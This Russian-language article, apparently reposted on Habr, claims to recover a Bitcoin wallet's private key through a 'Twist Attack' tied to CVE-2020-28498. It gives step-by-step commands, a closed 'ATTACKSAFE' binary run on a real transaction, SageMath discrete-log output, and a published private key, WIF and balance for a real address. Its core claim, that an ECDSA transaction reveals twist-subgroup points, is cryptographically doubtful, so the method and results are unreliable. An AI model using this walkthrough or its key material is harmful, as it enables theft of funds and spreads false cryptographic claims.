Выполним ряд операций ECC, чтобы получить значение приватного ключа к Биткоин Кошельку. Twist Attack, пример №1

Моя цель - предложение широкого ассортимента товаров и услуг на постоянно высоком качестве обслуживания по самым выгодным ценам.

Не так давно пакет elliptic (6.5.4) для стандартных эллиптических кривых был уязвим для различных атак, одним из которых является Twist Attack. Криптографическая проблема была в реализации secp256k1. Нам известно что криптовалюта Биткоин использует secp256k1 и эта атака не обошла Биткоин стороной, согласно уязвимости CVE-2020-28498 подтверждающие стороны транзакции алгоритма ECDSA через определенные точки на эллиптической кривой secp256k1 передавали частичные значение приватного ключа (более простые подгруппы состоящие от 5 до 45 bit ) которые называются секстическими поворотами [sextic twists] этот процесс настолько опасен что раскрывает зашифрованные данные после выполнения ряда операций ECC.

В этой статье мы реализуем Twist Attack на примере и покажем как с помощью определенных точек на эллиптической кривой secp256k1 мы можем получить частичные значение приватного ключа и в течение 5-15 минут восстановить Биткоин Кошелек используя “Sagemath pollard rho function: (discrete_log_rho)” и “Chinese Remainder Theorem”.

Другими словами эти определенные точки являются злонамеренно выбранными точками на эллиптической кривой secp256k1

https://github.com/christianlundkvist/blog/blob/master/2020_05_26_secp256k1_twist_attacks/secp256k1_twist_attacks.md
https://github.com/christianlundkvist/blog/blob/master/2020_05_26_secp256k1_twist_attacks/secp256k1_twist_attacks.md

Согласно твиту Paulo Barreto: https://twitter.com/pbarreto/status/825703772382908416?s=21


The cofactor is 3^213^23319*22639

E1: 20412485227
E2: 3319, 22639
E3: 109903, 12977017, 383229727
E4: 18979
E6: 10903, 5290657, 10833080827, 22921299619447

prod = 20412485227 * 3319 * 22639 *109903 * 12977017 * 383229727 * 18979 * 10903 * 5290657 * 10833080827 * 22921299619447

38597363079105398474523661669562635951234135017402074565436668291433169282997 = 3 * 13^2 * 3319 * 22639 * 1013176677300131846900870239606035638738100997248092069256697437031

HEX:0x55555555555555555555555555555555C1C5B65DC59275416AB9E07B0FEDE7B5


При запуске Twist Attack «приватный ключ» может быть получен при определенном выборе «публичного ключа» (выбранная точка эллиптической кривой secp256k1) , то есть значение в транзакции раскрывается.
После чего раскроется и информация о приватном ключе, но для этого нужно выполнить несколько операций ECC.

E1: y^2 = x^3 + 1
E2: y^2 = x^3 + 2
E3: y^2 = x^3 + 3
E4: y^2 = x^3 + 4
E6: y^2 = x^3 + 6

https://attacksafe.ru/twist-attack-on-bitcoin
https://attacksafe.ru/twist-attack-on-bitcoin

y² = x³ + ax + b. In the Koblitz curve,
y² = x³ + 0x + 7. In the Koblitz curve,
0 = x³ + 0 + 7
b '= -x ^ 3 - ax.

Все точки (x, 0) попадают на недопустимые кривые с b '= -x ^ 3 - ax


Перейдем к экспериментальной части:

Рассмотрим Биткоин Адрес:

1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq


Теперь рассмотрим критический уязвимые транзакции:

ttps://btc1.trezor.io/tx/d76a7daa4c5f67a2b553df96834845e4bf469a9806b3de1d89e107301230e731


Откроем [TerminalGoogleColab].

Реализуем алгоритм Twist Attack с помощью нашей репозитории 18TwistAttack

git clone https://github.com/demining/CryptoDeepTools.git

cd CryptoDeepTools/18TwistAttack/

ls


Установим все нужные нам пакеты

requirements.txt


sudo apt install python2-minimal

wget https://bootstrap.pypa.io/pip/2.7/get-pip.py

sudo python2 get-pip.py

pip2 install -r requirements.txt

,
,

Подготовим RawTX для атаки


1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq

https://btc1.trezor.io/tx/d76a7daa4c5f67a2b553df96834845e4bf469a9806b3de1d89e107301230e731


RawTX = 0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

Сохраним в файле: RawTX.txt

RawTX.txt
RawTX.txt

Чтобы реализовать атаку мы воспользуемся программным обеспечение “ATTACKSAFE SOFTWARE”

www.attacksafe.ru/software
www.attacksafe.ru/software

Права доступа:

chmod +x attacksafe

Применение:

./attacksafe -help

-version: software version
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: vulnerability search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode


./attacksafe -version

Version 5.3.2. [ATTACKSAFE SOFTWARE, © 2023]
Version 5.3.2. [ATTACKSAFE SOFTWARE, © 2023]

"ATTACKSAFE SOFTWARE" включает в себя все популярные атаки на Биткоин.

Запустим список всех атак:

./attacksafe -list





Выберем -tool: twist_attack

Чтобы получить определенные точки secp256k1 из уязвимой транзакции подписи ECDSA, мы добавили данные RawTX в текстовый документ и сохранил как файл RawTX.txt

0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000


Запустим -tool twist_attack используя программное обеспечение “ATTACKSAFE SOFTWARE”


./attacksafe -tool twist_attack -open RawTX.txt -save SecretPoints.txt


Мы запустили данную атаку из -tool twist_attack и результат сохранился в файл SecretPoints.txt

Теперь чтобы посмотреть успешный результат откроем файл SecretPoints.txt

cat SecretPoints.txt


Результат

Elliptic Curve Secret Points:

Q11 = E1([34618671789393965854613640290360235391647615481000045539933705415932995630501, 99667531170720247708472095466452031806107030061686920872303526306525502090483])
Q21 = E2([68702062392910446859944685018576437177285905222869560568664822150761686878291, 78930926874118321017229422673239275133078679240453338682049329315217408793256])
Q22 = E2([36187226669165513276610993963284034580749604088670076857796544959800936658648, 78047996896912977465701149036258546447875229540566494608083363212907320694556])
Q31 = E3([14202326166782503089885498550308551381051624037047010679115490407616052746319, 30141335236272151189582083030021707964727207106390862186771517460219968539461])
Q32 = E3([92652014076758100644785068345546545590717837495536733539625902385181839840915, 110864801034380605661536039273640968489603707115084229873394641092410549997600])
Q33 = E3([13733962489803830542904605575055556603039713775204829607439941608751927073977, 70664870695578622971339822919870548708506276012055865037147804103600164648175])
Q41 = E4([46717592694718488699519343483827728052018707080103013431011626167943885955457, 6469304805650436779501027074909634426373884406581114581098958955015476304831])
Q61 = E6([47561520942485905499349109889401345889145902913672896164353162929760278620178, 23509073020931558264499314846549082835888014703370452565866789873039982616042])
Q62 = E6([54160295444050675202099928029758489687871616334443609215013972520342661686310, 61948858375012652103923933825519305763658240249902247802977736768072021476029])
Q63 = E6([80766121303237997819855855617475110324697780810565482439175845706674419107782, 43455623036669369134087288965186672649514660807369135243341314597351364060230])
Q64 = E6([27687597533944257266141093122549631098147853637408570994849207294960615279263, 8473112666362672787600475720236754473089370067288223871796416412432107486062])

RawTX = 0100000001ea20b8f18674f029b84a96fad22647eec129e0e5520c73a25c24a42ad3479c78100000006a47304402207eed07b5b09237851306a44a2b0f6bc2db0e2eaca45296a84ace41f8d2f5ccdb02205e4eebbaffdd48f2294c062ac1d34204d7bcb01d76ead96720cc9c6c570f8a0801210277144138c5d2e090d6cf65c8fc984cce82c39d2923c4e106a27e3e6bb92de4abffffffff013a020000000000001976a914e94a23147d57674a7b817197be14877853590e6e88ac00000000

Теперь добавим полученные точки secp256k1

Для этого откроем Python-script: discrete.py


Для того чтобы запустить Python-script: discrete.py установим SageMath



Команда установки:

sudo apt-get update
sudo apt-get install -y python3-gmpy2
yes '' | sudo env DEBIAN_FRONTEND=noninteractive apt-get -y -o DPkg::options::="--force-confdef" -o DPkg::options::="--force-confold" install sagemath





Проверим установку SageMath по команде: sage -v


SageMath version 9.0
SageMath version 9.0

Чтобы решить дискретное логарифмирование (Pollard's rho algorithm for logarithms) запустим Python-script: discrete.py

Команда запуска:

sage -python3 discrete.py


Результат:

Discrete_log_rho:
5663673254
229
19231
43549
11713353
47161820
13016
6068
1461826
5248038982
9034433903442

PRIVATE KEY:
4843137891892877119728403798088723017104154997204069979961743654961499092503


privkey = crt([x11, x21, x22, x31, x32, x33, x41, x61, x62, x63, x64], [ord11, ord21, ord22, ord31, ord32, ord33, ord41, ord61, ord62, ord63, ord64])

Мы решили дискретное логарифмирование и с помощью “Китайской теоремы об остатках (Chinese remainder theorem)” получили приватный ключ в десятичном формате.

Конвертируем приватный ключ в HEX формат

Десятичный формат приватного ключа был сохранен в файл: privkey.txt

Запустим Python-script: privkey2hex.py


python3 privkey2hex.py

cat privkey2hex.txt


Откроем полученный файл: privkey2hex.txt


Приватный ключ в HEX формате:

PrivKey = 0ab51e7092866dadf86165ea0d70beb69086237a0e7f5a123d496d3d98e03617

Откроем bitaddress и проверим:

ADDR: 1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq
WIF: KwaXPrvbWF5USy3GCh453UDGWXnBSroiKKtE6ebtmHHxGKaRmVD6
HEX: 0AB51E7092866DADF86165EA0D70BEB69086237A0E7F5A123D496D3D98E03617


https://live.blockcypher.com/btc/address/1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq/
https://live.blockcypher.com/btc/address/1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq/

https://live.blockcypher.com/btc/address/1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq/

Powered by BlockCypher


https://live.blockcypher.com/btc/address/1J7TUsfVc58ao6qYjcUhzKW1LxxiZ57vCq/


BALANCE: $ 775.77


Исходный код

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/S_ZUcM2cD8I

Источник: https://cryptodeep.ru/twist-attack

Качественный VPS в AdminVPS. Напоминаем, что размещение элементов систем для обслуживания, расчета и эксплуатации цифровых валют (mining, майнинг криптовалют, в том числе chia coin)- запрещено.  

Источник: https://habr.com/ru/company/adminvps/blog/712182/


Интересные статьи

Интересные статьи

В данном примере разберем, как пользоваться API поиска в известеом поисковом сервисе Algolia.
Богатая мета и разнообразие игровых классов — постоянная отличительная фишка RPG и еще ряда жанров, обеспечивающая поддержание интереса игрока и высокую реиграбельность. Но чтобы игрались все классы д...
После турбулентности на рынке труда в нелёгком 2020, количество вакансий начало стабильно расти (а на некоторых платформах и вовсе увеличилось вдвое). Увереннее себя почувствовали не только специалист...
Вопросы применения трендов достаточно широко представлены в отечественных и зарубежных научных работах, практических коммерческих предложениях и приложениях. Тренды предс...
Кто бы что ни говорил, но я считаю, что изобретение велосипедов — штука полезная. Использование готовых библиотек и фреймворков, конечно, хорошо, но порой стоит их отложить и создать ...